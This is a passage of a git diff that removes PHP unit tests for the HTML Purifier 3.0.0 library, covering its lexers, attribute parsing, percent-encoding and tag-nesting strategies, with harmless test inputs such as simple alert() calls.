a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Lexer/DirectLexTest.php +++ /dev/null @@ -1,130 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Lexer/DirectLex.php'; - -class HTMLPurifier_Lexer_DirectLexTest extends HTMLPurifier_Harness -{ - - protected $DirectLex; - - function setUp() { - $this->DirectLex = new HTMLPurifier_Lexer_DirectLex(); - } - - // internals testing - function test_parseAttributeString() { - - $input[0] = 'href="about:blank" rel="nofollow"'; - $expect[0] = array('href'=>'about:blank', 'rel'=>'nofollow'); - - $input[1] = "href='about:blank'"; - $expect[1] = array('href'=>'about:blank'); - - // note that the single quotes aren't /really/ escaped - $input[2] = 'onclick="javascript:alert(\'asdf\');"'; - $expect[2] = array('onclick' => "javascript:alert('asdf');"); - - $input[3] = 'selected'; - $expect[3] = array('selected'=>'selected'); - - // [INVALID] - $input[4] = '="nokey"'; - $expect[4] = array(); - - // [SIMPLE] - $input[5] = 'color=blue'; - $expect[5] = array('color' => 'blue'); - - // [INVALID] - $input[6] = 'href="about:blank'; - $expect[6] = array('href' => 'about:blank'); - - // [INVALID] - $input[7] = '"='; - $expect[7] = array('"' => ''); - // we ought to get array() - - $input[8] = 'href ="about:blank"rel ="nofollow"'; - $expect[8] = array('href' => 'about:blank', 'rel' => 'nofollow'); - - $input[9] = 'two bool'; - $expect[9] = array('two' => 'two', 'bool' => 'bool'); - - $input[10] = 'name="input" selected'; - $expect[10] = array('name' => 'input', 'selected' => 'selected'); - - $input[11] = '=""'; - $expect[11] = array(); - - $input[12] = '="" =""'; - $expect[12] = array('"' => ''); // tough to say, just don't throw a loop - - $input[13] = 'href="'; - $expect[13] = array('href' => ''); - - $input[14] = 'href=" <'; - $expect[14] = array('href' => ' <'); - - $config = HTMLPurifier_Config::createDefault(); - $context = new HTMLPurifier_Context(); - $size = count($input); - for($i = 0; $i < $size; $i++) { - $result = $this->DirectLex->parseAttributeString($input[$i], $config, $context); - $this->assertIdentical($expect[$i], $result, 'Test ' . $i . ': %s'); - paintIf($result, $expect[$i] != $result); - } - - } - - function testLineNumbers() { - - $html = "<b>Line 1</b>\n<i>Line 2</i>\nStill Line 2<br\n/>Now Line 4\n\n<br />"; - - $expect = array( - // line 1 - 0 => new HTMLPurifier_Token_Start('b') - ,1 => new HTMLPurifier_Token_Text('Line 1') - ,2 => new HTMLPurifier_Token_End('b') - ,3 => new HTMLPurifier_Token_Text("\n") - // line 2 - ,4 => new HTMLPurifier_Token_Start('i') - ,5 => new HTMLPurifier_Token_Text('Line 2') - ,6 => new HTMLPurifier_Token_End('i') - ,7 => new HTMLPurifier_Token_Text("\nStill Line 2") - // line 3 - ,8 => new HTMLPurifier_Token_Empty('br') - // line 4 - ,9 => new HTMLPurifier_Token_Text("Now Line 4\n\n") - // line SIX - ,10 => new HTMLPurifier_Token_Empty('br') - ); - - $context = new HTMLPurifier_Context(); - $config = HTMLPurifier_Config::createDefault(); - $output = $this->DirectLex->tokenizeHTML($html, $config, $context); - - $this->assertIdentical($output, $expect); - - $context = new HTMLPurifier_Context(); - $config = HTMLPurifier_Config::create(array( - 'Core.MaintainLineNumbers' => true - )); - $expect[0]->line = 1; - $expect[1]->line = 1; - $expect[2]->line = 1; - $expect[3]->line = 1; - $expect[4]->line = 2; - $expect[5]->line = 2; - $expect[6]->line = 2; - $expect[7]->line = 2; - $expect[8]->line = 3; - $expect[9]->line = 4; - $expect[10]->line = 6; - - $output = $this->DirectLex->tokenizeHTML($html, $config, $context); - $this->assertIdentical($output, $expect); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Lexer/DirectLex_ErrorsTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Lexer/DirectLex_ErrorsTest.php deleted file mode 100644 index ad048d2..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Lexer/DirectLex_ErrorsTest.php +++ /dev/null @@ -1,55 +0,0 @@ -<?php - -require_once 'HTMLPurifier/ErrorsHarness.php'; -require_once 'HTMLPurifier/Lexer/DirectLex.php'; - -class HTMLPurifier_Lexer_DirectLex_ErrorsTest extends HTMLPurifier_ErrorsHarness -{ - - function invoke($input) { - $lexer = new HTMLPurifier_Lexer_DirectLex(); - $lexer->tokenizeHTML($input, $this->config, $this->context); - } - - function invokeAttr($input) { - $lexer = new HTMLPurifier_Lexer_DirectLex(); - $lexer->parseAttributeString($input, $this->config, $this->context); - } - - function testUnclosedComment() { - $this->expectErrorCollection(E_WARNING, 'Lexer: Unclosed comment'); - $this->expectContext('CurrentLine', 1); - $this->invoke('<!-- >'); - } - - function testUnescapedLt() { - $this->expectErrorCollection(E_NOTICE, 'Lexer: Unescaped lt'); - $this->expectContext('CurrentLine', 1); - $this->invoke('< foo>'); - } - - function testMissingGt() { - $this->expectErrorCollection(E_WARNING, 'Lexer: Missing gt'); - $this->expectContext('CurrentLine', 1); - $this->invoke('<a href=""'); - } - - // these are sub-errors, will only be thrown in context of collector - - function testMissingAttributeKey1() { - $this->expectErrorCollection(E_ERROR, 'Lexer: Missing attribute key'); - $this->invokeAttr('=""'); - } - - function testMissingAttributeKey2() { - $this->expectErrorCollection(E_ERROR, 'Lexer: Missing attribute key'); - $this->invokeAttr('foo="bar" =""'); - } - - function testMissingEndQuote() { - $this->expectErrorCollection(E_ERROR, 'Lexer: Missing end quote'); - $this->invokeAttr('src="foo'); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/LexerTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/LexerTest.php deleted file mode 100644 index ec24b43..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/LexerTest.php +++ /dev/null @@ -1,527 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Lexer/DirectLex.php'; - -class HTMLPurifier_LexerTest extends HTMLPurifier_Harness -{ - - protected $_has_pear = false; - - function HTMLPurifier_LexerTest() { - parent::HTMLPurifier_Harness(); - // E_STRICT = 2048, int used for PHP4 compat: this check disables - // PEAR if PHP 5 strict mode is on, since the class is not strict safe - if ( - $GLOBALS['HTMLPurifierTest']['PEAR'] && - ((error_reporting() & 2048) != 2048) // ought to be a better way - ) { - require_once 'HTMLPurifier/Lexer/PEARSax3.php'; - $this->_has_pear = true; - } - if ($GLOBALS['HTMLPurifierTest']['PH5P']) { - require_once 'HTMLPurifier/Lexer/PH5P.php'; - } - } - - // HTMLPurifier_Lexer::create() -------------------------------------------- - - function test_create() { - $this->config->set('Core', 'MaintainLineNumbers', true); - $lexer = HTMLPurifier_Lexer::create($this->config); - $this->assertIsA($lexer, 'HTMLPurifier_Lexer_DirectLex'); - } - - // HTMLPurifier_Lexer->parseData() ----------------------------------------- - - function assertParseData($input, $expect = true) { - if ($expect === true) $expect = $input; - $lexer = new HTMLPurifier_Lexer(); - $this->assertIdentical($expect, $lexer->parseData($input)); - } - - function test_parseData_plainText() { - $this->assertParseData('asdf'); - } - - function test_parseData_ampersandEntity() { - $this->assertParseData('&amp;', '&'); - } - - function test_parseData_quotEntity() { - $this->assertParseData('&quot;', '"'); - } - - function test_parseData_aposNumericEntity() { - $this->assertParseData('&#039;', "'"); - } - - function test_parseData_aposCompactNumericEntity() { - $this->assertParseData('&#39;', "'"); - } - - function test_parseData_adjacentAmpersandEntities() { - $this->assertParseData('&amp;&amp;&amp;', '&&&'); - } - - function test_parseData_trailingUnescapedAmpersand() { - $this->assertParseData('&amp;&', '&&'); - } - - function test_parseData_internalUnescapedAmpersand() { - $this->assertParseData('Procter & Gamble'); - } - - function test_parseData_improperEntityFaultToleranceTest() { - $this->assertParseData('&#x2D;'); - } - - // HTMLPurifier_Lexer->extractBody() --------------------------------------- - - function assertExtractBody($text, $extract = true) { - $lexer = new HTMLPurifier_Lexer(); - $result = $lexer->extractBody($text); - if ($extract === true) $extract = $text; - $this->assertIdentical($extract, $result); - } - - function test_extractBody_noBodyTags() { - $this->assertExtractBody('<b>Bold</b>'); - } - - function test_extractBody_lowercaseBodyTags() { - $this->assertExtractBody('<html><body><b>Bold</b></body></html>', '<b>Bold</b>'); - } - - function test_extractBody_uppercaseBodyTags() { - $this->assertExtractBody('<HTML><BODY><B>Bold</B></BODY></HTML>', '<B>Bold</B>'); - } - - function test_extractBody_realisticUseCase() { - $this->assertExtractBody( -'<?xml version="1.0" -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" - "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> - <head> - <title>xyz</title> - </head> - <body> - <form method="post" action="whatever1"> - <div> - <input type="text" name="username" /> - <input type="text" name="password" /> - <input type="submit" /> - </div> - </form> - </body> -</html>', - ' - <form method="post" action="whatever1"> - <div> - <input type="text" name="username" /> - <input type="text" name="password" /> - <input type="submit" /> - </div> - </form> - '); - } - - function test_extractBody_bodyWithAttributes() { - $this->assertExtractBody('<html><body bgcolor="#F00"><b>Bold</b></body></html>', '<b>Bold</b>'); - } - - function test_extractBody_preserveUnclosedBody() { - $this->assertExtractBody('<body>asdf'); // not closed, don't accept - } - - // HTMLPurifier_Lexer->tokenizeHTML() -------------------------------------- - - function assertTokenization($input, $expect, $alt_expect = array()) { - $lexers = array(); - $lexers['DirectLex'] = new HTMLPurifier_Lexer_DirectLex(); - if ($this->_has_pear) $lexers['PEARSax3'] = new HTMLPurifier_Lexer_PEARSax3(); - if (version_compare(PHP_VERSION, "5", ">=") && class_exists('DOMDocument')) { - $lexers['DOMLex'] = new HTMLPurifier_Lexer_DOMLex(); - $lexers['PH5P'] = new HTMLPurifier_Lexer_PH5P(); - } - foreach ($lexers as $name => $lexer) { - $result = $lexer->tokenizeHTML($input, $this->config, $this->context); - if (isset($alt_expect[$name])) { - if ($alt_expect[$name] === false) continue; - $t_expect = $alt_expect[$name]; - $this->assertIdentical($result, $alt_expect[$name], "$name: %s"); - } else { - $t_expect = $expect; - $this->assertIdentical($result, $expect, "$name: %s"); - } - if ($t_expect != $result) { - printTokens($result); - //var_dump($result); - } - } - } - - function test_tokenizeHTML_emptyInput() { - $this->assertTokenization('', array()); - } - - function test_tokenizeHTML_plainText() { - $this->assertTokenization( - 'This is regular text.', - array( - new HTMLPurifier_Token_Text('This is regular text.') - ) - ); - } - - function test_tokenizeHTML_textAndTags() { - $this->assertTokenization( - 'This is <b>bold</b> text', - array( - new HTMLPurifier_Token_Text('This is '), - new HTMLPurifier_Token_Start('b', array()), - new HTMLPurifier_Token_Text('bold'), - new HTMLPurifier_Token_End('b'), - new HTMLPurifier_Token_Text(' text'), - ) - ); - } - - function test_tokenizeHTML_normalizeCase() { - $this->assertTokenization( - '<DIV>Totally rad dude. <b>asdf</b></div>', - array( - new HTMLPurifier_Token_Start('DIV', array()), - new HTMLPurifier_Token_Text('Totally rad dude. '), - new HTMLPurifier_Token_Start('b', array()), - new HTMLPurifier_Token_Text('asdf'), - new HTMLPurifier_Token_End('b'), - new HTMLPurifier_Token_End('div'), - ) - ); - } - - function test_tokenizeHTML_notWellFormed() { - $this->assertTokenization( - '<asdf></asdf><d></d><poOloka><poolasdf><ds></asdf></ASDF>', - array( - new HTMLPurifier_Token_Start('asdf'), - new HTMLPurifier_Token_End('asdf'), - new HTMLPurifier_Token_Start('d'), - new HTMLPurifier_Token_End('d'), - new HTMLPurifier_Token_Start('poOloka'), - new HTMLPurifier_Token_Start('poolasdf'), - new HTMLPurifier_Token_Start('ds'), - new HTMLPurifier_Token_End('asdf'), - new HTMLPurifier_Token_End('ASDF'), - ), - array( - 'DOMLex' => $alt = array( - new HTMLPurifier_Token_Empty('asdf'), - new HTMLPurifier_Token_Empty('d'), - new HTMLPurifier_Token_Start('pooloka'), - new HTMLPurifier_Token_Start('poolasdf'), - new HTMLPurifier_Token_Empty('ds'), - new HTMLPurifier_Token_End('poolasdf'), - new HTMLPurifier_Token_End('pooloka'), - ), - 'PH5P' => $alt, - ) - ); - } - - function test_tokenizeHTML_whitespaceInTag() { - $this->assertTokenization( - '<a'."\t".'href="foobar.php"'."\n".'title="foo!">Link to <b id="asdf">foobar</b></a>', - array( - new HTMLPurifier_Token_Start('a',array('href'=>'foobar.php','title'=>'foo!')), - new HTMLPurifier_Token_Text('Link to '), - new HTMLPurifier_Token_Start('b',array('id'=>'asdf')), - new HTMLPurifier_Token_Text('foobar'), - new HTMLPurifier_Token_End('b'), - new HTMLPurifier_Token_End('a'), - ) - ); - } - - function test_tokenizeHTML_emptyTag() { - $this->assertTokenization( - '<br />', - array( new HTMLPurifier_Token_Empty('br') ) - ); - } - - function test_tokenizeHTML_comment() { - $this->assertTokenization( - '<!-- Comment -->', - array( new HTMLPurifier_Token_Comment(' Comment ') ), - array( - 'PEARSax3' => array( new HTMLPurifier_Token_Comment('-- Comment --') ), - ) - ); - } - - function test_tokenizeHTML_malformedComment() { - $this->assertTokenization( - '<!-- not so well formed --->', - array( new HTMLPurifier_Token_Comment(' not so well formed -') ), - array( - 'PEARSax3' => array( new HTMLPurifier_Token_Comment('-- not so well formed ---') ), - ) - ); - } - - function test_tokenizeHTML_unterminatedTag() { - $this->assertTokenization( - '<a href=""', - array( new HTMLPurifier_Token_Text('<a href=""') ), - array( - // I like our behavior better, but it's non-standard - 'DOMLex' => array( new HTMLPurifier_Token_Empty('a', array('href'=>'')) ), - 'PEARSax3' => array( new HTMLPurifier_Token_Start('a', array('href'=>'')) ), - 'PH5P' => false, // total barfing, grabs scaffolding too - ) - ); - } - - function test_tokenizeHTML_specialEntities() { - $this->assertTokenization( - '&lt;b&gt;', - array( - new HTMLPurifier_Token_Text('<b>') - ), - array( - // some parsers will separate entities out - 'PEARSax3' => $split = array( - new HTMLPurifier_Token_Text('<'), - new HTMLPurifier_Token_Text('b'), - new HTMLPurifier_Token_Text('>'), - ), - 'PH5P' => $split, - ) - ); - } - - function test_tokenizeHTML_earlyQuote() { - $this->assertTokenization( - '<a "=>', - array( new HTMLPurifier_Token_Empty('a') ), - array( - // we barf on this input - 'DirectLex' => $tokens = array( - new HTMLPurifier_Token_Start('a', array('"' => '')) - ), - 'PEARSax3' => $tokens, - 'PH5P' => array( - new HTMLPurifier_Token_Empty('a', array('"' => '')) - ), - ) - ); - } - - function test_tokenizeHTML_unescapedQuote() { - $this->assertTokenization( - '"', - array( new HTMLPurifier_Token_Text('"') ) - ); - } - - function test_tokenizeHTML_escapedQuote() { - $this->assertTokenization( - '&quot;', - array( new HTMLPurifier_Token_Text('"') ), - array( - 'PEARSax3' => false, // PEAR barfs on this - ) - ); - } - - function test_tokenizeHTML_cdata() { - $this->assertTokenization( - '<![CDATA[You <b>can&#39;t</b> get me!]]>', - array( new HTMLPurifier_Token_Text('You <b>can&#39;t</b> get me!') ), - array( - // PEAR splits up all of the CDATA - 'PEARSax3' => $split = array( - new HTMLPurifier_Token_Text('You '), - new HTMLPurifier_Token_Text('<'), - new HTMLPurifier_Token_Text('b'), - new HTMLPurifier_Token_Text('>'), - new HTMLPurifier_Token_Text('can'), - new HTMLPurifier_Token_Text('&'), - new HTMLPurifier_Token_Text('#39;t'), - new HTMLPurifier_Token_Text('<'), - new HTMLPurifier_Token_Text('/b'), - new HTMLPurifier_Token_Text('>'), - new HTMLPurifier_Token_Text(' get me!'), - ), - 'PH5P' => $split, - ) - ); - } - - function test_tokenizeHTML_characterEntity() { - $this->assertTokenization( - '&theta;', - array( new HTMLPurifier_Token_Text("\xCE\xB8") ) - ); - } - - function test_tokenizeHTML_characterEntityInCDATA() { - $this->assertTokenization( - '<![CDATA[&rarr;]]>', - array( new HTMLPurifier_Token_Text("&rarr;") ), - array( - 'PEARSax3' => $split = array( - new HTMLPurifier_Token_Text('&'), - new HTMLPurifier_Token_Text('rarr;'), - ), - 'PH5P' => $split, - ) - ); - } - - function test_tokenizeHTML_entityInAttribute() { - $this->assertTokenization( - '<a href="index.php?title=foo&amp;id=bar">Link</a>', - array( - new HTMLPurifier_Token_Start('a',array('href' => 'index.php?title=foo&id=bar')), - new HTMLPurifier_Token_Text('Link'), - new HTMLPurifier_Token_End('a'), - ) - ); - } - - function test_tokenizeHTML_preserveUTF8() { - $this->assertTokenization( - "\xCE\xB8", - array( new HTMLPurifier_Token_Text("\xCE\xB8") ) - ); - } - - function test_tokenizeHTML_specialEntityInAttribute() { - $this->assertTokenization( - '<br test="x &lt; 6" />', - array( new HTMLPurifier_Token_Empty('br', array('test' => 'x < 6')) ) - ); - } - - function test_tokenizeHTML_emoticonProtection() { - $this->config->set('Core', 'AggressivelyFixLt', true); - $this->assertTokenization( - '<b>Whoa! <3 That\'s not good >.></b>', - array( - new HTMLPurifier_Token_Start('b'), - new HTMLPurifier_Token_Text('Whoa! '), - new HTMLPurifier_Token_Text('<3 That\'s not good >'), - new HTMLPurifier_Token_Text('.>'), - new HTMLPurifier_Token_End('b') - ), - array( - // text is absorbed together - 'DOMLex' => array( - new HTMLPurifier_Token_Start('b'), - new HTMLPurifier_Token_Text('Whoa! <3 That\'s not good >.>'), - new HTMLPurifier_Token_End('b'), - ), - 'PEARSax3' => false, // totally mangled - 'PH5P' => array( // interesting grouping - new HTMLPurifier_Token_Start('b'), - new HTMLPurifier_Token_Text('Whoa! '), - new HTMLPurifier_Token_Text('<'), - new HTMLPurifier_Token_Text('3 That\'s not good >.>'), - new HTMLPurifier_Token_End('b'), - ), - ) - ); - } - - function test_tokenizeHTML_commentWithFunkyChars() { - $this->assertTokenization( - '<!-- This >< comment --><br />', - array( - new HTMLPurifier_Token_Comment(' This >< comment '), - new HTMLPurifier_Token_Empty('br'), - ), - array( - 'PEARSax3' => false, - ) - ); - } - - function test_tokenizeHTML_unterminatedComment() { - $this->assertTokenization( - '<!-- This >< comment', - array( new HTMLPurifier_Token_Comment(' This >< comment') ), - array( - 'DOMLex' => false, - 'PEARSax3' => false, - 'PH5P' => false, - ) - ); - } - - function test_tokenizeHTML_scriptCDATAContents() { - $this->config->set('HTML', 'Trusted', true); - $this->assertTokenization( - 'Foo: <script>alert("<foo>");</script>', - array( - new HTMLPurifier_Token_Text('Foo: '), - new HTMLPurifier_Token_Start('script'), - new HTMLPurifier_Token_Text('alert("<foo>");'), - new HTMLPurifier_Token_End('script'), - ), - array( - 'PEARSax3' => false, - // PH5P, for some reason, bubbles the script to <head> - 'PH5P' => false, - ) - ); - } - - function test_tokenizeHTML_entitiesInComment() { - $this->config->set('Core', 'AggressivelyFixLt', true); - $this->assertTokenization( - '<!-- This comment < &lt; & -->', - array( new HTMLPurifier_Token_Comment(' This comment < &lt; & ') ), - array( - 'PEARSax3' => false - ) - ); - } - - function test_tokenizeHTML_attributeWithSpecialCharacters() { - $this->assertTokenization( - '<a href="><>">', - array( new HTMLPurifier_Token_Empty('a', array('href' => '><>')) ), - array( - 'DirectLex' => array( - new HTMLPurifier_Token_Start('a', array('href' => '')), - new HTMLPurifier_Token_Text('<">'), - ), - 'PEARSax3' => false, - ) - ); - } - - function test_tokenizeHTML_emptyTagWithSlashInAttribute() { - $this->assertTokenization( - '<param name="src" value="http://example.com/video.wmv" />', - array( new HTMLPurifier_Token_Empty('param', array('name' => 'src', 'value' => 'http://example.com/video.wmv')) ) - ); - } - - /* - - function test_tokenizeHTML_() { - $this->assertTokenization( - , - array( - - ) - ); - } - */ - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/PercentEncoderTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/PercentEncoderTest.php deleted file mode 100644 index 1f5c981..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/PercentEncoderTest.php +++ /dev/null @@ -1,41 +0,0 @@ -<?php - -require_once 'HTMLPurifier/PercentEncoder.php'; - -class HTMLPurifier_PercentEncoderTest extends HTMLPurifier_Harness -{ - - protected $PercentEncoder; - protected $func; - - function setUp() { - $this->PercentEncoder = new HTMLPurifier_PercentEncoder(); - $this->func = ''; - } - - function assertDecode($string, $expect = true) { - if ($expect === true) $expect = $string; - $this->assertIdentical($this->PercentEncoder->{$this->func}($string), $expect); - } - - function test_normalize() { - $this->func = 'normalize'; - - $this->assertDecode('Aw.../-$^8'); // no change - $this->assertDecode('%41%77%7E%2D%2E%5F', 'Aw~-._'); // decode unreserved chars - $this->assertDecode('%3A%2F%3F%23%5B%5D%40%21%24%26%27%28%29%2A%2B%2C%3B%3D'); // preserve reserved chars - $this->assertDecode('%2b', '%2B'); // normalize to uppercase - $this->assertDecode('%2B2B%3A3A'); // extra text - $this->assertDecode('%2b2B%4141', '%2B2BA41'); // extra text, with normalization - $this->assertDecode('%', '%25'); // normalize stray percent sign - $this->assertDecode('%5%25', '%255%25'); // permaturely terminated encoding - $this->assertDecode('%GJ', '%25GJ'); // invalid hexadecimal chars - - // contested behavior, if this changes, we'll also have to have - // outbound encoding - $this->assertDecode('%FC'); // not reserved or unreserved, preserve - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/SimpleTest/Reporter.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/SimpleTest/Reporter.php deleted file mode 100644 index 5ab31f0..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/SimpleTest/Reporter.php +++ /dev/null @@ -1,41 +0,0 @@ -<?php - -class HTMLPurifier_SimpleTest_Reporter extends HTMLReporter -{ - - protected $ac; - - public function __construct($encoding, $ac) { - $this->ac = $ac; - parent::HTMLReporter($encoding); - } - - public function paintHeader($test_name) { - parent::paintHeader($test_name); -?> -<form action="" method="get" id="select"> - <select name="f"> - <option value="" style="font-weight:bold;"<?php if(!$this->ac['file']) {echo ' selected';} ?>>All Tests</option> - <?php foreach($GLOBALS['HTMLPurifierTest']['Files'] as $file) { ?> - <option value="<?php echo $file ?>"<?php - if ($this->ac['file'] == $file) echo ' selected'; - ?>><?php echo $file ?></option> - <?php } ?> - </select> - <input type="checkbox" name="standalone" title="Standalone version?" <?php if($this->ac['standalone']) {echo 'checked="checked" ';} ?>/> - <input type="submit" value="Go"> -</form> -<?php - flush(); - } - - public function _getCss() { - $css = parent::_getCss(); - $css .= ' - #select {position:absolute;top:0.2em;right:0.2em;} - '; - return $css; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/CompositeTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/CompositeTest.php deleted file mode 100644 index 9ee42e3..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/CompositeTest.php +++ /dev/null @@ -1,75 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Strategy.php'; -require_once 'HTMLPurifier/Strategy/Composite.php'; -require_once 'HTMLPurifier/Config.php'; - -class HTMLPurifier_Strategy_Composite_Test - extends HTMLPurifier_Strategy_Composite -{ - - public function __construct(&$strategies) { - $this->strategies =& $strategies; - } - -} - -// doesn't use Strategy harness -class HTMLPurifier_Strategy_CompositeTest extends HTMLPurifier_Harness -{ - - function test() { - - generate_mock_once('HTMLPurifier_Strategy'); - generate_mock_once('HTMLPurifier_Config'); - generate_mock_once('HTMLPurifier_Context'); - - // setup a bunch of mock strategies to inject into our composite test - - $mock_1 = new HTMLPurifier_StrategyMock(); - $mock_2 = new HTMLPurifier_StrategyMock(); - $mock_3 = new HTMLPurifier_StrategyMock(); - - // setup the object - - $strategies = array(&$mock_1, &$mock_2, &$mock_3); - $composite = new HTMLPurifier_Strategy_Composite_Test($strategies); - - // setup expectations - - $input_1 = 'This is raw data'; - $input_2 = 'Processed by 1'; - $input_3 = 'Processed by 1 and 2'; - $input_4 = 'Processed by 1, 2 and 3'; // expected output - - $config = new HTMLPurifier_ConfigMock(); - $context = new HTMLPurifier_ContextMock(); - - $params_1 = array($input_1, $config, $context); - $params_2 = array($input_2, $config, $context); - $params_3 = array($input_3, $config, $context); - - $mock_1->expectOnce('execute', $params_1); - $mock_1->setReturnValue('execute', $input_2, $params_1); - - $mock_2->expectOnce('execute', $params_2); - $mock_2->setReturnValue('execute', $input_3, $params_2); - - $mock_3->expectOnce('execute', $params_3); - $mock_3->setReturnValue('execute', $input_4, $params_3); - - // perform test - - $output = $composite->execute($input_1, $config, $context); - $this->assertIdentical($input_4, $output); - - // tally the calls - - $mock_1->tally(); - $mock_2->tally(); - $mock_3->tally(); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/CoreTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/CoreTest.php deleted file mode 100644 index 8b4e745..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/CoreTest.php +++ /dev/null @@ -1,47 +0,0 @@ -<?php - -require_once 'HTMLPurifier/StrategyHarness.php'; -require_once 'HTMLPurifier/Strategy/Core.php'; - -class HTMLPurifier_Strategy_CoreTest extends HTMLPurifier_StrategyHarness -{ - - function setUp() { - parent::setUp(); - $this->obj = new HTMLPurifier_Strategy_Core(); - } - - function testBlankInput() { - $this->assertResult(''); - } - - function testMakeWellFormed() { - $this->assertResult( - '<b>Make well formed.', - '<b>Make well formed.</b>' - ); - } - - function testFixNesting() { - $this->assertResult( - '<b><div>Fix nesting.</div></b>', - '<b></b><div>Fix nesting.</div>' - ); - } - - function testRemoveForeignElements() { - $this->assertResult( - '<asdf>Foreign element removal.</asdf>', - 'Foreign element removal.' - ); - } - - function testFirstThree() { - $this->assertResult( - '<foo><b><div>All three.</div></b>', - '<b></b><div>All three.</div>' - ); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/ErrorsHarness.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/ErrorsHarness.php deleted file mode 100644 index 97b6475..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/ErrorsHarness.php +++ /dev/null @@ -1,19 +0,0 @@ -<?php - -require_once 'HTMLPurifier/ErrorsHarness.php'; - -class HTMLPurifier_Strategy_ErrorsHarness extends HTMLPurifier_ErrorsHarness -{ - - // needs to be defined - function getStrategy() {} - - function invoke($input) { - $strategy = $this->getStrategy(); - $lexer = new HTMLPurifier_Lexer_DirectLex(); - $tokens = $lexer->tokenizeHTML($input, $this->config, $this->context); - $strategy->execute($tokens, $this->config, $this->context); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/FixNestingTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/FixNestingTest.php deleted file mode 100644 index bf4c374..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/FixNestingTest.php +++ /dev/null @@ -1,139 +0,0 @@ -<?php - -require_once 'HTMLPurifier/StrategyHarness.php'; -require_once 'HTMLPurifier/Strategy/FixNesting.php'; - -class HTMLPurifier_Strategy_FixNestingTest extends HTMLPurifier_StrategyHarness -{ - - function setUp() { - parent::setUp(); - $this->obj = new HTMLPurifier_Strategy_FixNesting(); - } - - function testPreserveInlineInRoot() { - $this->assertResult('<b>Bold text</b>'); - } - - function testPreserveInlineAndBlockInRoot() { - $this->assertResult('<a href="about:blank">Blank</a><div>Block</div>'); - } - - function testRemoveBlockInInline() { - $this->assertResult( - '<b><div>Illegal div.</div></b>', - '<b>Illegal div.</b>' - ); - } - - function testEscapeBlockInInline() { - $this->config->set('Core', 'EscapeInvalidChildren', true); - $this->assertResult( - '<b><div>Illegal div.</div></b>', - '<b>&lt;div&gt;Illegal div.&lt;/div&gt;</b>' - ); - } - - function testRemoveNodeWithMissingRequiredElements() { - $this->assertResult('<ul></ul>', ''); - } - - function testRemoveIllegalPCDATA() { - $this->assertResult( - '<ul>Illegal text<li>Legal item</li></ul>', - '<ul><li>Legal item</li></ul>' - ); - } - - function testCustomTableDefinition() { - $this->assertResult('<table><tr><td>Cell 1</td></tr></table>'); - } - - function testRemoveEmptyTable() { - $this->assertResult('<table></table>', ''); - } - - function testChameleonRemoveBlockInNodeInInline() { - $this->assertResult( - '<span><ins><div>Not allowed!</div></ins></span>', - '<span><ins>Not allowed!</ins></span>' - ); - } - - function testChameleonRemoveBlockInBlockNodeWithInlineContent() { - $this->assertResult( - '<h1><ins><div>Not allowed!</div></ins></h1>', - '<h1><ins>Not allowed!</ins></h1>' - ); - } - - function testNestedChameleonRemoveBlockInNodeWithInlineContent() { - $this->assertResult( - '<h1><ins><del><div>Not allowed!</div></del></ins></h1>', - '<h1><ins><del>Not allowed!</del></ins></h1>' - ); - } - - function testNestedChameleonPreserveBlockInBlock() { - $this->assertResult( - '<div><ins><del><div>Allowed!</div></del></ins></div>' - ); - } - - function testChameleonEscapeInvalidBlockInInline() { - $this->config->set('Core', 'EscapeInvalidChildren', true); - $this->assertResult( // alt config - '<span><ins><div>Not allowed!</div></ins></span>', - '<span><ins>&lt;div&gt;Not allowed!&lt;/div&gt;</ins></span>' - ); - } - - function testExclusionsIntegration() { - // test exclusions - $this->assertResult( - '<a><span><a>Not allowed</a></span></a>', - '<a><span></span></a>' - ); - } - - function testPreserveInlineNodeInInlineRootNode() { - $this->config->set('HTML', 'Parent', 'span'); - $this->assertResult('<b>Bold</b>'); - } - - function testRemoveBlockNodeInInlineRootNode() { - $this->config->set('HTML', 'Parent', 'span'); - $this->assertResult('<div>Reject</div>', 'Reject'); - } - - function testInvalidParentError() { - // test fallback to div - $this->config->set('HTML', 'Parent', 'obviously-impossible'); - // $this->expectError('Cannot use unrecognized element as parent'); - $this->assertResult('<div>Accept</div>'); - $this->swallowErrors(); - } - - function testCascadingRemovalOfNodesMissingRequiredChildren() { - $this->assertResult('<table><tr></tr></table>', ''); - } - - function testCascadingRemovalSpecialCaseCannotScrollOneBack() { - 